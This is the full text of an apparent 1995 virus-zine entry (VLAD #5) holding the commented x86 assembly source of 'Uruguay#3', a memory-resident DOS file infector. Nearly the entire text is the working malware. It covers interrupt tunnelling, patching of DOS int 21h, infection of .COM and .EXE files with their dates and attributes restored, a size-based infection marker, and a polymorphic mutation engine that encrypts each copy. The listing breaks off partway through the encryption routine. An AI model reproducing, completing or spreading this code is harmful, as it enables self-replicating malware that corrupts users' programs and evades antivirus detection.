Virus Labs & Distribution
VLAD #5 - Uruguay


;---------------------------------------------------------------------------;
; Title: Uruguay#3 by F3161                                                 ;
; (c) 1995    Malware Technology                                            ;
; Thanks to Metabolis for the spelling corrections.                         ;
; Disclaimer: Malware Technology is not responsible for any problems        ;
;             caused due to assembly of this.                               ;
;---------------------------------------------------------------------------;

code            segment para 'code'
	assume cs:code

start:          jmp start2

timer           equ 046Ch       ; at 0:046Ch the lower byte of the system time
				; counter is stored
com_start       equ 0100h       ; at offset 100h a COM-program starts

tunneled_13     dw  ?,?         ; vector of the tunneled int 13h
old_13          dw  ?,?         ; original vector of int 13h
tunneled_21     dw  ?,?         ; vector of the tunneled int 21h
old_24          dw  ?,?         ; original vector of int 24h
old_2A          dw  ?,?         ; original vector of int 2ah
first_three     db  0CDh,020h,? ; original first three bytes of host program
first_int21     db  ?,?,?,?,?   ; original first 5 bytes of tunneled int 21h
new_three       db  0E9h, ?, ?  ; first three bytes at the beginning of an
				; infected program
is_exe          db  0           ; host was an exe-file
exe_launch      dw  ?,?         ; address of the exe-launcher program
verify          db  ?           ; original verify-flag
int13_error     db  ?           ; error flag for virus' int 13h
int21_AX        dw  ?           ; here AX is stored during virus' int 21h
command_com     db  'COMMAND'
com_file        db  '.COM'
exe_file        db  '.EXE'
file_attr       dw  ?           ; original file attributes of new host
file_size       dw  ?           ; original file size of new host
file_date       dw  ?           ; original date/time of new host
file_time       dw  ?

start2:         cld
		call    flex1           ; flexible entrypoint
flex1:          pop     bx              ; get offset of flex1
		push    cs
		push    bx
		mov     ah,2
		mov     si,bx
		add     si,offset text - offset flex1   
					; offset off the message
		xor     ax,ax
		mov     es,ax
		mov     cl,es:[timer]   ; get lower byte of timer as random
		or      cl,cl           ; is zero ?
		jnz     no_text         ; no then do not show the text
		mov     ah,2
		mov     dl,75h          ; initial decryption value
		in      al,61h
		or      al,3
		out     61h,al
next_char1:     mov     al,0b6h
		out     43h,al
		mov     al,dl
		out     42h,al
		lodsb                   ; get one char
		out     42h,al
		xor     al,dl
		or      al,al           ; is zero ?
		jz      text_end        ; yes then this was the end of the text
		mov     dl,al
		int     21h             ; print the char on screen
		inc     cl
wait1:          cmp     es:[timer],cl
		jnz     wait1
		jmp     next_char1      ; show next char
text_end:       in      al,61h
		and     al,0fch
		out     61h,al
		add     cl,5ah
wait2:          cmp     es:[timer],cl
		jnz     wait2

no_text:        push    cs
		pop     es
		; Set exe-launcher adress
		mov     word ptr [bx + offset exe_launch - offset flex1 + 2],cs
		mov     ax,offset launch_exe - offset flex1
		add     ax,bx
		mov     word ptr [bx + offset exe_launch - offset flex1],ax
		; Restore first three bytes
		mov     si,offset first_three - offset flex1
		add     si,bx
		mov     di,com_start
		movsb
		movsw
		; Installation check
		mov     ax,3032h
		mov     dx,1234h
		int     21h
		cmp     ax,5678h
		jnz     make_resident
		; Restart original programm
		pop      bx
		pop      ax
		cmp      byte ptr [bx + offset is_exe - offset flex1],1
		jnz      is_com1        ; no host was a com-file
		jmp      dword ptr cs:[bx + offset exe_launch - offset flex1]
					; jump to exe-launcher
is_com1:        push     ax
		mov      ax,com_start
		push     ax
		xor      ax,ax
		xor      bx,bx
		xor      cx,cx
		xor      dx,dx
		xor      si,si
		xor      di,di
		xor      bp,bp
		retf

make_resident:  ; Block Keyboard
		mov      al,74h
		out      43h,al
		mov      al,0aah
		out      41h,al
		mov      al,0
		out      41h,al
		; Find last MCB
		mov      ax,cs
		dec      ax
mcb_loop:       mov      ds,ax
		cmp      byte ptr ds:[0],5Ah
		jz       last_mcb
		add      ax,word ptr ds:[3]
		inc      ax
		jmp      mcb_loop
		; Allocate memory from last MCB
last_mcb:       mov      ax,13F4h               ; ***
		shr      ax,1
		shr      ax,1
		shr      ax,1
		shr      ax,1
		inc      ax
		sub      word ptr ds:[3],ax
		; Calculate allocated segment
		mov      ax,ds
		add      ax,word ptr ds:[3]
		inc      ax
		; Copy virus to new segment
		mov      es,ax
		pop      si
		sub      si,offset flex1
		xor      di,di
		push     cs
		pop      ds
		mov      cx,offset virus_length
		cld
		rep      movsb
		; startover in new segment
		mov      cx,offset start_over
		push     ax
		push     cx
		retf

		; startover point here
start_over:     call     tunnel         ; tunnel int 13h and 21h
		call     patch_21       ; install int 21h
		; start original program
		pop      ax
		cld
		cmp      is_exe,1
		mov      ds,ax
		jnz      is_com2
		jmp      dword ptr cs:[exe_launch]
is_com2:        mov      es,ax
		push     ax
		push     cs
		pop      es:[2]
		mov      ax,com_start
		push     ax
		xor      ax,ax
		xor      bx,bx
		xor      cx,cx
		xor      dx,dx
		xor      si,si
		xor      di,di
		xor      bp,bp
		retf

	; Set int AL vector to DS:DX
set_int_al:
		pushf
		push     bx
		push     es
		mov      ah,0
		shl      ax,1
		shl      ax,1
		mov      bx,ax
		xor      ax,ax
		mov      es,ax
		cli
		mov      es:[bx],dx
		mov      es:[bx+2],ds
		pop      es
		pop      bx
		popf
		ret

; Get int AL vector into ES:BX  
get_int_al:
		pushf
		mov      ah,0
		shl      ax,1
		shl      ax,1
		mov      bx,ax
		xor      ax,ax
		mov      es,ax
		cli
		les      bx,es:[bx]
		popf
		ret

text    DB 78h, 07h, 2Dh, 72h, 27h, 07h, 12h, 12h, 14h, 18h, 54h, 0Eh, 10h, 14h, 07h, 76h
	DB 3Fh, 1Bh, 07h, 06h, 7Eh, 07h, 5Ah, 22h, 1Dh, 08h, 15h, 13h, 0Ch, 00h, 08h, 01h
	DB 44h, 49h, 07h, 4Eh, 6Dh, 22h, 01h, 1Ah, 11h, 13h, 1Fh, 0Dh, 01h, 0Ah, 4Fh, 08h
	DB 7Dh, 07h, 07h, 12h, 12h, 14h, 18h, 70h, 09h, 42h, 1Bh, 59h, 66h, 75h, 02h, 07h
	DB 07h, 1Fh, 0Eh, 10h, 06h, 19h, 16h, 0Bh, 1Ch, 23h, 07h, 5Eh, 3Ch, 01h, 1Ah, 53h
	DB 49h, 1Ah, 53h, 41h, 41h, 52h, 17h, 16h, 16h, 04h, 13h, 11h, 0Bh, 48h, 56h, 1Fh
	DB 1Bh, 07h, 06h, 53h, 0Dh, 0Dh, 64h, 0Bh, 6Fh, 6Eh, 01h, 1Bh, 74h, 64h, 0Dh, 1Ah
	DB 07h, 06h, 1Bh, 0Bh, 17h, 01h, 11h, 6Bh, 23h, 07h, 07h, 07h, 0Ah

;----------------------------------------------------------------------
; Tunneler code here
;----------------------------------------------------------------------

tunneled_seg   dw        ?              ; segment of tunneled int
old_vector     dw        ?,?            ; old vector of int to tunnel
old_int01      dw        ?,?            ; old int 01 vector
tun_success    db        ?              ; tunneling was successful
tunneled_offs  dw        ?              ; offset of tunneled int
tun_AX         dw        ?              ; AX is saved here during int 01
tun_BP         dw        ?              ; BP is saved here during int 01

	; the tunnelers int 01 (single-step-interrupt)
tun_int01:
	       cmp       byte ptr cs:tun_success,1      ; was successful ?
	       jnz       tun_goon               ; no then try to tunnel now
	       iret
tun_goon:      mov       cs:tun_AX,ax                   ; save registers
	       mov       cs:tun_BP,bp
	       mov       bp,sp
	       mov       ax,[bp+2]      ; segment of interrupted routine
	       cmp       ax,cs:tunneled_seg     ; after DOS-data area ?
	       ja        no_success             ; yes then it is useless
	       mov       cs:tunneled_seg,ax     ; else save the segment
               mov       cs:tun_success,1       ; set success flag
	       mov       ax,[bp+4]              ; switch single step mode off
	       and       ax,0FEFFh
	       mov       [bp+4],ax
	       mov       ax,[bp]                ; save offset of
	       mov       cs:tunneled_offs,ax    ; interrupted routine
no_success:    mov       ax,cs:tun_AX           ; restore registers
	       mov       bp,cs:tun_BP
	       iret


	assume  ds:code


; Tunnel int 21h and 13h
tunnel:
	       mov       al,1
	       call      get_int_al             ; get int 01 vector
	       push      cs
	       pop       ds
	       mov       old_int01,bx           ; and save it
	       mov       old_int01+2,es
	       mov       al,1
	       mov       dx,offset tun_int01
	       call      set_int_al             ; set new int 01
	       mov       al,21h
	       call      get_int_al             ; get int 21h vector
	       mov       tunneled_21,bx         ; and save it
	       mov       tunneled_21+2,es
	       mov       al,21h
	       call      tunnel_al              ; tunnel int 21h
	       cmp       cs:tun_success,1       ; was successful
	       jnz       no_succ1               ; no
	       mov       ax,cs:tunneled_offs    ; else save result
	       mov       cs:tunneled_21,ax
	       mov       ax,cs:tunneled_seg
	       mov       cs:tunneled_21+2,ax
no_succ1:      mov       al,13h
	       call      get_int_al             ; get int 13h vector
	       mov       cs:tunneled_13,bx
	       mov       cs:tunneled_13+2,es
	       mov       al,13h
	       call      tunnel_al              ; tunnel int 13h
               cmp       cs:tun_success,1       ; was successful
	       jnz       no_succ2               ; no
	       mov       ax,cs:tunneled_offs    ; else save result
	       mov       cs:tunneled_13,ax
	       mov       ax,cs:tunneled_seg
	       mov       cs:tunneled_13+2,ax
no_succ2:      mov       al,1
	       lds       dx,dword ptr cs:old_int01
	       call      set_int_al             ; restore old int 01 vector
	       ret


	; tunnel int AL
tunnel_al:
	       call     get_int_al              ; get int vector
	       mov      cs:old_vector,bx
	       mov      cs:old_vector+2,es
	       mov      cs:tun_success,0        ; clear success flag
	       mov      ax,1203h
	       int      2fh                     ; get DOS-data area segment
	       mov      cs:tunneled_seg,ds
	       cli
	       pushf
	       pop      ax
	       or       ax,0100h                ; switch single step mode on
	       push     ax
	       popf
	       mov      ah,0ffh                 ; just to make sure it runs
	       mov      dl,0                    ; trough all instances of
	       pushf                            ; the interrupt chain
	       call     dword ptr cs:old_vector ; call the int
	       pushf
	       pop      ax
	       and      ax,0FEFFh               ; switch single step mode off
	       push     ax
	       popf
	       sti
	       ret


	       db       20 dup (?)

;--------------------------------------------------------------------------
; The infector code
;--------------------------------------------------------------------------

	; critical error handler
int_24:        mov      al,0
	       iret

	; int 13h with error flag
int_13:        cmp      cs:int13_error,1        ; was already an error ?
	       jz       int13_failed            ; yes
	       pushf                            ; else call tunneled int 13h
	       call     dword ptr cs:tunneled_13
	       jb       int13_failed            ; error
	       retf     2
int13_failed:
	       mov      cs:int13_error,1        ; set error flag
	       mov      ah,10                   ; error code
	       stc
	       retf     2

; virus int 21
test1:         cmp      ax,3032h        ; Installation check ?
	       jnz      nothin          ; no
	       cmp      dx,1234h        ; Installation check ?
	       jnz      nothin          ; no
	       mov      ax,5678h        ; the magic value
	       popf
	       iret
nothin:        jmp      end_21

	; The entry point of int 21h is here
int_21:        pushf
	       sti
	       mov      cs:int21_AX,ax          ; save AX
	       cmp      ax,4b00h                ; Run a program ?
	       jz       try_it                  ; Yes
	       cmp      ax,3d00h                ; Open a file for reading ?
	       jnz      test1                   ; No
	       call     test_exec       ; Check if it seems to be executable
	       jb       nothin          ; No does not look like executable
try_it:        push     bx
	       push     cx
	       push     dx
	       push     di
	       push     si
	       push     bp
	       push     ds
	       push     es
	       call     patch_13  ; insert that error flag stuff into int 13h
	       mov      si,dx           ; SI := offset of filename
	       cld
next_char2:    lodsb
	       cmp      al,0            ; last char ?
	       jnz      next_char2      ; No, repeat until
	       dec      si
	       dec      si              ; SI now points to last char before \0
	       std
	       mov      di,offset command_com + 10
	       push     cs
	       pop      es
	       mov      cx,11
	       repz     cmpsb           ; the filename is 'COMMAND.COM' ?
	       jnz      not_command_com         ; no is not
	       jmp      leave_21
not_command_com:
	       mov      cs:is_exe,0             ; clear is_exe flag
	       mov      ax,4300h
	       call     call_old_21             ; get file attributes
	       mov      cs:file_attr,cx
	       jnb      goon1
	       jmp      leave_21
goon1:         mov      ax,cx
	       and      ax,4                    ; system file ?
	       jz       goon2                   ; no
	       jmp      leave_21
goon2:         cmp      cx,20h
	       jz       is_archived
	       mov      ax,4301h                ; set new file attributes
	       mov      cx,20h
	       call     call_old_21
	       cmp      cs:int13_error,1
	       jnz      is_archived
	       jmp      leave_21
is_archived:   push     ds
	       push     dx
	       mov      ax,3d02h                ; open file for read/write
	       call     call_old_21
	       mov      bx,ax
	       mov      ax,4202h                ; seek to end of file
	       xor      cx,cx
	       xor      dx,dx
	       call     call_old_21
	       or       dx,dx                   ; file < 10000h ?
	       jnz      close_file              ; no
	       cmp      ax,0F400h               ; file < 0F400h ?
	       ja       close_file              ; no
	       cmp      ax,0200h                ; file > 00200h ?
	       jbe      close_file              ; no
	       mov      cs:file_size,ax         ; save file size
	       push     ax
	       mov      cx,17h
	       div      cx
	       pop      ax
	       or       dx,dx                   ; filesize MOD 17h = 0 ?
	       jz       close_file      ; yes, then seems to be infected
	       call     exe_or_com  ; determine whether the file is exe or com
	       mov      ah,40h                  ; write new first three bytes
	       mov      cx,3
	       push     cs
	       pop      ds
	       mov      dx,offset new_three
	       call     call_old_21
	       cmp      cs:int13_error,1
	       jz       close_file
	       mov      ax,4202h                ; seek to 1 Byte after the end
	       xor      cx,cx                   ; of the file
	       mov      dx,1
	       call     call_old_21
	       mov      ax,cs:file_size
	       add      ax,com_start
	       mov      cs:start_offset,ax      ; starting offset for the
						; decryptor
	       call     mutate          ; the polymorph engine of the uruguay
	       call     round_size      ; make file size multiple of 17h
	       mov      ah,40h          ; append the virus to the file
	       mov      dx,offset virus_length
	       push     cs
	       pop      ds
	       call     call_old_21
	       mov      ax,5701h        ; restore original date/time of file
	       mov      cx,cs:file_date
	       mov      dx,cs:file_time
	       call     call_old_21
close_file:    mov      ah,3eh                  ; close the file
	       call     call_old_21
	       pop      dx
	       pop      ds
	       mov      ax,4301h                ; restore original file
	       mov      cx,cs:file_attr         ; attributes
	       cmp      cx,20h
	       jz       leave_21
	       call     call_old_21
leave_21:      call     unpatch_13   ; remove the error flag stuff from int 13h
	       pop      es
	       pop      ds
	       pop      bp
	       pop      si
	       pop      di
	       pop      dx
	       pop      cx
	       pop      bx
	       jmp      end_21

	       db       3 dup (?)

call_old_21:   call     unpatch_21
	       pushf
	       call     dword ptr cs:tunneled_21
	       call     patch_21
	       ret

end_21:        push     bx
	       push     dx
	       push     ds
	       push     es
	       call     unpatch_21      ; uninstall int 21h
	       mov      ax,cs
	       mov      ds,ax
	       mov      al,2ah
	       call     get_int_al      ; get int 2Ah vector
	       mov      old_2a,bx       ; and save it
	       mov      old_2a+2,es
	       mov      al,2ah
	       mov      dx,offset int_2a
	       call     set_int_al      ; set new int 2Ah
	       pop      es
	       pop      ds
	       pop      dx
	       pop      bx
	       popf
	       mov      ax,cs:int21_AX  ; restore AX
	       jmp      dword ptr cs:tunneled_21   ; jump to original int 21h

; This int is allways called by DOS' int 21h
int_2a:        push     ax
	       push     dx
	       push     ds
	       call     patch_21        ; install int 21h again
	       mov      al,2ah
	       lds      dx,dword ptr cs:old_2a
	       call     set_int_al      ; restore old int 2ah vector
	       pop      ds
	       pop      dx
	       pop      ax
	       jmp      dword ptr cs:old_2a     ; jump to old int 2ah


; Install the int 21h patch
patch_21:      pushf
	       push     ax
	       push     si
	       push     di
	       push     ds
	       push     es
	       lds      si,dword ptr cs:tunneled_21
	       push     cs
	       pop      es
	       mov      di,offset first_int21
	       cld
	       movsb            ; Save first five bytes of code from
	       movsw            ; tunneled int 21h
	       movsw
	       les      di,dword ptr cs:tunneled_21
	       mov      al,0EAh
	       stosb            ; insert a JMP FAR there
	       mov      ax,offset int_21
	       stosw
	       mov      ax,cs
	       stosw
	       pop      es
	       pop      ds
	       pop      di
	       pop      si
	       pop      ax
	       popf
	       ret

; Removes the int 21h patch
unpatch_21:    pushf
	       push     si
	       push     di
	       push     ds
	       push     es
	       push     cs
	       pop      ds
	       mov      si,offset first_int21
	       les      di,dword ptr tunneled_21
	       cld
	       movsb            ; Restore first five byte of tunneled
	       movsw            ; int routine
	       movsw
	       pop      es
	       pop      ds
	       pop      di
	       pop      si
	       popf
	       ret

; Install the int 13h add-on
patch_13:      push     bx
	       push     dx
	       push     ds
	       push     es
	       mov      ah,54h
	       call     call_old_21
	       mov      cs:verify,al    ; Get DOS-verify flag and save it
	       mov      ax,2e00h                ; then turn verify off
	       call     call_old_21
	       mov      al,24h
	       call     get_int_al              ; Get int 24h vector
	       mov      cs:old_24,bx
	       mov      cs:old_24+2,es
	       mov      al,24h
	       mov      dx,offset int_24
	       push     cs
	       pop      ds                      ; set new critical error
	       call     set_int_al              ; handler (int 24h)
	       mov      al,13h
	       call     get_int_al              ; get int 13h vector
	       mov      cs:old_13,bx
	       mov      cs:old_13+2,es
	       mov      al,13h
	       mov      dx,offset int_13
	       push     cs
	       pop      ds
	       call     set_int_al              ; set new int 13h
	       mov      cs:int13_error,0        ; clear the error flag
	       pop      es
	       pop      ds
	       pop      dx
	       pop      bx
	       ret

; Remove the int 13h add-on
unpatch_13:    mov      ax,cs:old_24+2
	       mov      ds,ax
	       mov      dx,cs:old_24
	       mov      al,24h
	       call     set_int_al              ; restore old int 24h
	       mov      ds,cs:old_13+2
	       mov      dx,cs:old_13
	       mov      al,13h
	       call     set_int_al              ; restore old int 13h
	       mov      ah,2eh                  ; restore DOS-verify flag
	       mov      al,cs:verify
	       call     call_old_21
	       ret

; Determine whether a program is com or exe
; Input: ax = filesize
;        is_exe = 0
exe_or_com:    dec      ax
	       dec      ax                      ; => filesize - 2
	       mov      word ptr cs:new_three+1,ax      ; save jump-in offset
	       mov      ax,5700h                ; get file's date/time
	       call     call_old_21
	       mov      cs:file_date,cx         ; and save them
	       mov      cs:file_time,dx
	       mov      ax,4200h                ; seek to top of file
	       xor      cx,cx
	       xor      dx,dx
	       call     call_old_21
	       mov      ah,3fh                  ; read first three byte
	       mov      cx,3                    ; to buffer first_three
	       push     cs
	       pop      ds
	       mov      dx,offset first_three
	       call     call_old_21
	       mov      di,offset first_three
	       mov      ax,cs
	       mov      es,ax
	       cmp     word ptr es:[di],05A4Dh  ; EXE ?
	       jz      exe_is                   ; Yes
	       cmp     word ptr es:[di],04D5Ah  ; EXE ?
	       jnz     com_is                   ; No it is com
exe_is:        mov     cs:is_exe,1              ; set is_exe flag
com_is:        mov     ax,4200h                 ; again seek to top of file
	       xor     cx,cx
	       xor     dx,dx
	       call    call_old_21
	       ret

; make the filesize of an infected program a multiple of 17h
round_size:    push     ax
	       push     bx
	       push     dx
	       push     cx
	       add      cx,cs:file_size         ; virus + hosts size
	       mov      ax,cx
	       xor      dx,dx
	       mov      bx,17h
	       div      bx
	       mov      bx,17h
	       sub      bx,dx                   ; => 17h - (size MOD 17h)
	       pop      cx
	       add      cx,bx                   ; add the fix-up
	       dec      cx
	       pop      dx
	       pop      bx
	       pop      ax
	       ret

; test if a file fits into '*.COM' or '*.EXE'
test_exec:     push     ax
	       push     si
	       push     di
	       push     es
	       mov      si,dx
	       push     cs
	       pop      es
	       cld
next_char3:    lodsb                            ; load a char
	       or       al,al                   ; last ?
	       jnz      next_char3              ; no, repeat until
	       sub      si,5
	       mov      di,offset com_file
	       mov      cx,4
	       push     si
	       push     cx
	       repz     cmpsb                   ; compare with '.COM'
	       pop      cx
	       pop      si
	       jz       executable              ; ok is .COM
	       mov      di,offset exe_file
	       mov      cx,4
	       repz     cmpsb                   ; compare with '.EXE'
	       jz       executable              ; ok is .EXE
	       pop      es
	       pop      di
	       pop      si
	       pop      ax
	       stc                      ; is neither .COM nor .EXE
	       ret
executable:    pop      es
	       pop      di
	       pop      si
	       pop      ax
	       clc                      ; ok has a executable extension
	       ret

;--------------------------------------------------------------------
; The EXE-launcher
;--------------------------------------------------------------------
; This piece of code is run in the PSP-Segment of an infected program
; that once was an exe-file to do the relocation stuff.

launch_exe:    call     flex2           ; flexible entry point
flex2:         pop      bx              ; get offset of flex2
	       mov      ax,cs
	       mov      ds,ax
	       mov      es,ax
	       add      ax,010h         ; right after PSP-Segment
					; it is the base segment for relocation
	       mov      cx,ds:[com_start+0Eh]   ; initial SS
	       add      cx,ax                   ; relocate
	       push     cx
	       mov      cx,ds:[com_start+16h]   ; initial CS
	       add      cx,ax                   : relocate
	       mov      word ptr ds:[bx+offset jmp_far- offset flex2 +3],cx
						; save into JMP FAR
	       mov      dx,ds:[com_start+10h]   ; initial SP
	       push     dx
	       mov      dx,ds:[com_start+14h]   ; initial IP
	       mov      word ptr ds:[bx+offset jmp_far- offset flex2 +1],dx
						; save into JMP FAR
	       mov      di,ds:[com_start+18h]   ; offset of relocation table
	       mov      dx,ds:[com_start+08h]   ; size of exe-header
	       mov      cl,4
	       shl      dx,cl                   ; => byte size of exe-header
	       mov      cx,ds:[com_start+06h]   ; number of entries
	       jcxz     no_reloc                ; there are no entries
reloc_loop:    lds      si,cs:[com_start+di]    ; load address to relocate
	       add      di,4                    ; next entry
	       mov      bp,ds
	       add      bp,cs:[com_start+08h]   ; add size of exe-header
	       add      bp,ax                   ; add base segment
	       mov      ds,bp                   ; put it back in DS
	       add      word ptr ds:[si],ax     ; now relocate there
	       loop     reloc_loop              ; do for all entries
no_reloc:      push     cs
	       pop      ds
	       mov      di,com_start
	       mov      si,dx
	       add      si,di
	       mov      cx,bx
	       sub      cx,si
	       cld
	       rep      movsb           ; delete all the header stuff
	       pop      ax
	       pop      bx
	       cli
	       mov      ss,bx
	       mov      sp,ax
	       sti
	       xor      ax,ax
	       xor      bx,bx
	       xor      dx,dx
	       xor      si,si
	       xor      di,di
	       xor      bp,bp
jmp_far        db       0EAh, ?,?,?,?   ; jump into the program


;--------------------------------------------------------------------
; The Mutation Engine of the uruguay
;--------------------------------------------------------------------

	; 10 one-byte dummy instructions
one_byte          DB            0F8h            ; CLC           ; 069B
		  DB            0FCh            ; CLD
		  DB            0F5h            ; CMC
		  DB            0F9h            ; STC
		  DB            0FBh            ; STI
		  DB            090h            ; NOP
		  DB            042h            ; INC DX
		  DB            045h            ; INC BP
		  DB            04Ah            ; DEC DX
		  DB            04Dh            ; DEC BP

	; 55 two-byte dummy instructions
two_byte          DW            0D003h            ; ADD DX,AX   ; 06A5
		  DW            0D303h            ; ADD DX,BX
		  DW            0D103h            ; ADD DX,CX
		  DW            0D203h            ; ADD DX,DX
		  DW            0D603h            ; ADD DX,SI
		  DW            0D013h            ; ADC DX,AX
		  DW            0D313h            ; ADC DX,BX
		  DW            0D113h            ; ADC DX,CX
		  DW            0D213h            ; ADC DX,DX
		  DW            0D613h            ; ADC DX,SI
		  DW            0D503h            ; ADD DX,BP
		  DW            0EA03h            ; ADD BP,DX
		  DW            0D513h            ; ADD DX,BP
		  DW            0EA13h            ; ADC BP,DX
		  DW            000EBh            ; JMP $+2
		  DW            05A55h            ; PUSH BP; POP DX
		  DW            05D52h            ; PUSH DX; POP BP
		  DW            0DAF7h            ; NEG DX
		  DW            0DDF7h            ; NEG BP
		  DW            0DAF6h            ; NEG DL
		  DW            0DEF6h            ; NEG DH
		  DW            0D2F7h            ; NOT DX
		  DW            0D5F7h            ; NOT BP
		  DW            0D2F6h            ; NOT DL
		  DW            0D6F6h            ; NOT DH
		  DW            0D00Bh            ; OR DX,AX
		  DW            0D00Ah            ; OR DL,AL
		  DW            0D2D1h            ; RCL DX,1
		  DW            0D5D1h            ; RCL BP,1
		  DW            0DAD1h            ; RCR DX,1
		  DW            0DDD1h            ; RCR BP,1
		  DW            0E2D1h            ; SHL DX,1
		  DW            0E5D1h            ; SHL BP,1
		  DW            0E2D0h            ; SHK DL,1
		  DW            0E6D0h            ; SHL DH,1
		  DW            0E2D1h            ; SHL DX,1
		  DW            0E5D1h            ; SHL BP,1
		  DW            0EAD0h            ; SHR DL,1
		  DW            0EED0h            ; SHR DH,1
		  DW            0C2FEh            ; INC DL
		  DW            0C6FEh            ; INC DH
		  DW            0CAFEh            ; DEC DL
		  DW            0CEFEh            ; DEC DH
		  DW            0D233h            ; XOR DX,DX
		  DW            0F632h            ; XOR DH,DH
		  DW            0D232h            ; XOR DL,DL
		  DW            0D033h            ; XOR DX,AX
		  DW            0D02Bh            ; SUB DX,AX
		  DW            0D32Bh            ; SUB DX,BX
		  DW            0D12Bh            ; SUB DX,CX
		  DW            0D22Bh            ; SUB DX,DX
		  DW            0D62Bh            ; SUB DX,SI
		  DW            0EA87h            ; XCHG BP,DX
		  DW            0F286h            ; XCHG DH,DL
		  DW            0D686h            ; XCHG DL,DH

	; 8 three-byte dummy instructions
three_byte        DB            26h, 32h, 15h      ; ES: XOR DL,[DI]   ; 0713
		  DB            3Eh, 32h, 14h      ; DS: XOR DL,[SI]
		  DB            26h, 33h, 15h      ; ES: XOR DX,[DI]
		  DB            3Eh, 33h, 14h      ; DS: XOR DX,[SI]
		  DB            3Eh, 02h, 14h      ; DS: ADD DL,[SI]
		  DB            3Eh, 03h, 14h      ; DS: ADD DX,[SI]
		  DB            26h, 02h, 15h      ; ES: ADD DL,[DI]
		  DB            26h, 03h, 15h      ; ES: ADD DX,[DI]

	; SUB/ADD/INC - Counter
counting          DB            0BEh                  ; MOV SI,        ; 072B
		  DB            46h                   ; INC SI
		  DB            83h, 0C6h, 02h        ; ADD SI,2
		  DB            81h, 0EEh, 0FEh, 0FFh ; SUB SI,-2
		  ;
		  DB            0BFh                  ; MOV DI,
		  DB            47h                   ; INC DI
		  DB            83h, 0C7h, 02h        ; ADD DI,2
		  DB            81h, 0EFh, 0FEh, 0FFh ; SUB DI,-2
		  ;
		  DB            0BBh                  ; MOV BX,
		  DB            43h                   ; INC BX
		  DB            83h, 0C3h, 02h        ; ADD BX,2
		  DB            81h, 0EBh, 0FEh, 0FFh ; SUB BX,-2

	;
@0746             DB            0B8h            ; MOV AX,
		  DB            0Dh             ; OR AX,
		  DB            05h             ; ADD AX,
		  DB            35h             ; XOR AX,
		  ;
@0749             DB            0B9h            ; MOV CX,
		  DB            0C9h            ; 81 C9   OR CX,
		  DB            0C1h            ; 81 C1   ADD CX,
		  DB            0F1h            ; 81 F1   XOR CX,

	; Segment prefixes
prefixes          DB            3Eh             ; DS:    ; 074E
		  DB            26h             ; ES:
		  DB            2Eh             ; CS:
		  DB            36h             ; SS:

	; XOR/ADD/SUB - Encryption
	; 1. Byte
first_byte        DB            31h, 01h, 29h      ; XOR/ADD/SUB   ; 0752
	; 2. Byte
second_byte       DB            04h, 05h, 07h      ; SI/DI/BX      ; 0755


all_sets          db            ?
set1              db            ?
set2              db            ?
set3              db            ?
si_di_bx          db            ?
value             dw            ?
rand_size         dw            ?
start_offset      dw            ?
mov_pos           dw            ?
xor_sub_add       db            ?
full_length       dw            ?


mutate:        push     ax
	       push     bx
	       push     si
	       push     di
	       push     ds
	       push     es
	       push     cs
	       pop      ds
	       mov      al,32h
	       call     random                          ; random value
	       add      bx,offset virus_length+2        ; add virus size to it
	       shr      bx,1                            ; DIV 2
	       mov      rand_size,bx    ; => randomized virus size in words
	       xor      ax,ax
	       mov      es,ax
	       mov      ax,es:[timer]           ; get a random value from timer
               mov      value,ax                ; as en/decryption value
	       push     cs
	       pop      es
	       cld
	       mov      di,offset virus_length  ; store the decryptor right 
						; after the virus
	       mov      set1,0                  ; none of the 3 sets used yet
	       mov      set2,0
	       mov      set3,0
	       ; generate init instructions
gen_loop1:     mov      al,3
	       call     random
	       call     gen_from_set
	       cmp      all_sets,1              ; all sets used
	       jnz      gen_loop1               ; no, repeat until
	       ; now generate somethin like XOR CS:[BX],AX
	       call     rand_instruct
	       mov      al,4
	       call     random                  ; random value for prefix
	       push     di
	       mov      al,prefixes[bx-1]
	       stosb
	       mov      al,3
	       call     random                  ; random value for decryption
	       mov      xor_sub_add,bl          ; type
	       mov      al,first_byte[bx-1]
	       stosb                            ; store 1. byte
	       mov      bl,si_di_bx
	       mov      al,second_byte[bx-1]
	       stosb                            ; store 2. byte
	       call     rand_instruct           ; generate dummies
	       ; Now generate the instruction(s) to increase the pointer by 2
	       ; Therefore it chooses between the register used for pointer
	       ; (si_dx_bx) and the method ( inc, add, sub ).
	       dec      bl              ; it still holds si_di_bx before this
	       mov      bh,bl
	       shl      bl,1
	       shl      bl,1
	       shl      bl,1
	       add      bl,bh
	       inc      bl              ; ( si_di-bx - 1 ) * 9 + 1
	       mov      cl,bl           ; save it to cl
	       mov      al,3
	       call     random          ; random value for method
	       mov      al,bl
	       mov      bl,cl           ; restore from cl
	       mov      bh,0
	       add      bx,offset counting      ; add offset of table
	       cmp      al,1
	       jz       case_1          ; method 1
	       cmp      al,2
	       jz       case_2          ; method 2
	       ; method 3 ( SUB reg16,-2 )
	       add      bx,4            ; offset 4 of table entry
	       mov      ax,ds:[bx]      ; get the 4 bytes and store them
	       stosw
	       mov      ax,ds:[bx+2]
	       stosw
	       jmp      end_branch
	       ; method 2 ( ADD reg16,2 )
case_2:        inc      bx              ; offset 1 of table entry
	       mov      ax,ds:[bx]      ; get the 3 bytes and store them
	       stosw
	       mov      al,ds:[bx+2]
	       stosb
	       jmp      end_branch
	       ; method 1 ( INC reg16 )
case_1:        mov      al,ds:[bx]      ; get the byte from offset 0 of entry
	       stosb                    ; and store it
	       call     rand_instruct   ; insert dummies
	       stosb                    ; again an INC
	       ; here all methods meet again
end_branch:    call     rand_instruct   ; generate dummies
	       push     di
	       mov      si,offset start
	       inc      di              ; leave 2 bytes free for LOOP
	       inc      di              
	       mov      cx,rand_size
	       rep      movsw           ; put the virus after it
	       pop      di              ; offset of LOOP
	       mov      ax,di
	       pop      bx              ; offset of prefix-code
	       sub      ax,bx           ; offset between them
	       mov      ah,0feh
	       sub      ah,al           ; => - (offset+2)
	       mov      al,0E2h         ; put LOOP opcode
	       stosb
	       mov      al,ah           ; put offset
	       stosb
	       mov      si,di
	       push     di
	       mov      ax,start_offset         ; starting offset of decryptor
	       add      ax,di                   ; + offset of loop end
	       sub      ax,offset virus_length+1 ; - (virus length+1)
	       mov      di,mov_pos
	       stosw                            ; put it into the pointer init
	       pop      di
	       ; now enccrypt all the stuff
	       mov      cx,rand_size
	       mov      bx,value
	       mov      al,xor_sub_add          ; method of decryption
	       sub      si,2                    ; also encrypt the LOOP itself
	       mov      di,si
	       cmp      al,1                    ; decrypted by XOR ?
	       jz       xor_encrypt             ; yes
